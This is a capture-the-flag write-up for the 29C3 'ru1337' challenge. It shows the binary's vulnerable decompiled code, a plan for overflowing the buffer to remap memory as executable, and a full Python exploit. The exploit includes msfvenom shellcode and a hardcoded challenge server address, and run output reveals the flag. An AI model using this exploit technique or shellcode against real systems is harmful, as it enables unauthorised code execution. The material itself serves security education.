The given binary is a ELF 32-bit, dynamically linked executable with NX. Below is the important section of the challenge
[*] Overflow the buffer and overwrite the EIP to replay the code from call to mmap().
[*] Parameters are setup in stack for mmap() call, we create a new memory segment with read, write, execute permission.
[*] Use the username and password during the 2nd call, to copy payload into the newly created segment.
[*] Transfer control to this new segment with execute permission using ((void (*)(void))dest)() at 0x08048a05.
dest = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0); // No execute permission result = (int)dest; if ( dest != (char *)-1 ) { send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0); recv(fd, v2, 0x2Cu, 0); // Buffer overflow here for ( i = 0; i <= 7 && v2[i] && v2[i] != 10; ++i ) { if ( !((*__ctype_b_loc())[v2[i]] & 0x400) ) // Check to prevent against use of non printables { close(fd); exit(0); } } send(fd, "Password: ", 0xAu, 0); recv(fd, &s, 0x80u, 0); strcpy(dest, v2); // Copy the data into mmap'ed segment strcpy(dest + 8, &s); ((void (*)(void))dest)(); // Tranfer control into the allocated segmentIdea of exploit:
[*] Overflow the buffer and overwrite the EIP to replay the code from call to mmap().
[*] Parameters are setup in stack for mmap() call, we create a new memory segment with read, write, execute permission.
[*] Use the username and password during the 2nd call, to copy payload into the newly created segment.
[*] Transfer control to this new segment with execute permission using ((void (*)(void))dest)() at 0x08048a05.
#!/usr/bin/env python # ru1337.py import socket import struct ip = '94.45.252.242' port = 1024 soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM) soc.connect((ip,port)) print soc.recv(79) # msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 -b '\x00' # shellcode = ("\xda\xce\xba\x2e\x65\x60\xd0\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0b\x83\xee\xfc\x31\x56\x16\x03\x56\x16\xe2\xdb\x0f" + "\x6b\x88\xba\x82\x0d\x40\x91\x41\x5b\x77\x81\xaa\x28\x10" + "\x51\xdd\xe1\x82\x38\x73\x77\xa1\xe8\x63\x8f\x26\x0c\x74" + "\xbf\x44\x65\x1a\x90\xe4\x06\xe2\xb9\xa7\x61\x03\x88\xc8" ) # msfvenom -p linux/x86/exec CMD='/bin/cat flag' -a x86 -b '\x00' # shellcode = ("\xda\xd4\xba\x11\xf2\x16\x5f\xd9\x74\x24\xf4\x5e\x33\xc9" + "\xb1\x0d\x31\x56\x18\x03\x56\x18\x83\xee\xed\x10\xe3\x35" + "\x06\x8d\x95\x98\x7e\x45\x8b\x7f\xf7\x72\xbb\x50\x74\x15" + "\x3c\xc7\x55\x87\x55\x79\x20\xa4\xf4\x6d\x3c\x2b\xf9\x6d" + "\x6f\x49\x90\x03\x40\xee\x03\xa8\xbe\x96\xaf\x31\xd9\x56" + "\x67\xe1\xac\xb6\x4a\x85") ########################## stage 1 ############################# # 28 bytes to overflow buffer user = struct.pack("<I",0) * 5 user += struct.pack("<I",0x0804a16c) # .bss addr for EBP user += struct.pack("<I",0x08048858) # replay code, mmap(0, 136, 7, 34, 0, 0); user += struct.pack("<I",0) user += struct.pack("<I",136) user += struct.pack("<I",7) user += struct.pack("<I",34) # last 2 parameters are setup in stack during execution soc.send(user) print soc.recv(10) password = "A"*10 # junk soc.send(password) print soc.recv(79) ########################## stage 2 ############################# user = "P" * 8 # push EAX as NOP, ascii instruction to bypass __ctype_b_loc() check user += struct.pack("<I",0x08048a05) * 9 # overwrite EIP again soc.send(user) print soc.recv(10) soc.send(shellcode) print soc.recv(1024)
[ctf@renorobert 1337]# python ru1337.py # ls ID&PASSWORD 1337NESS EVALUATION Please enter your username and password User: Password: ID&PASSWORD 1337NESS EVALUATION Please enter your username and password User: Password: flag ru1337
[ctf@renorobert 1337]# python ru1337.py # cat flag ID&PASSWORD 1337NESS EVALUATION Please enter your username and password User: Password: ID&PASSWORD 1337NESS EVALUATION Please enter your username and password User: Password: 29C3_d4689608484bc61ec4d47d71ba0a933fSo the flag is: 29C3_d4689608484bc61ec4d47d71ba0a933f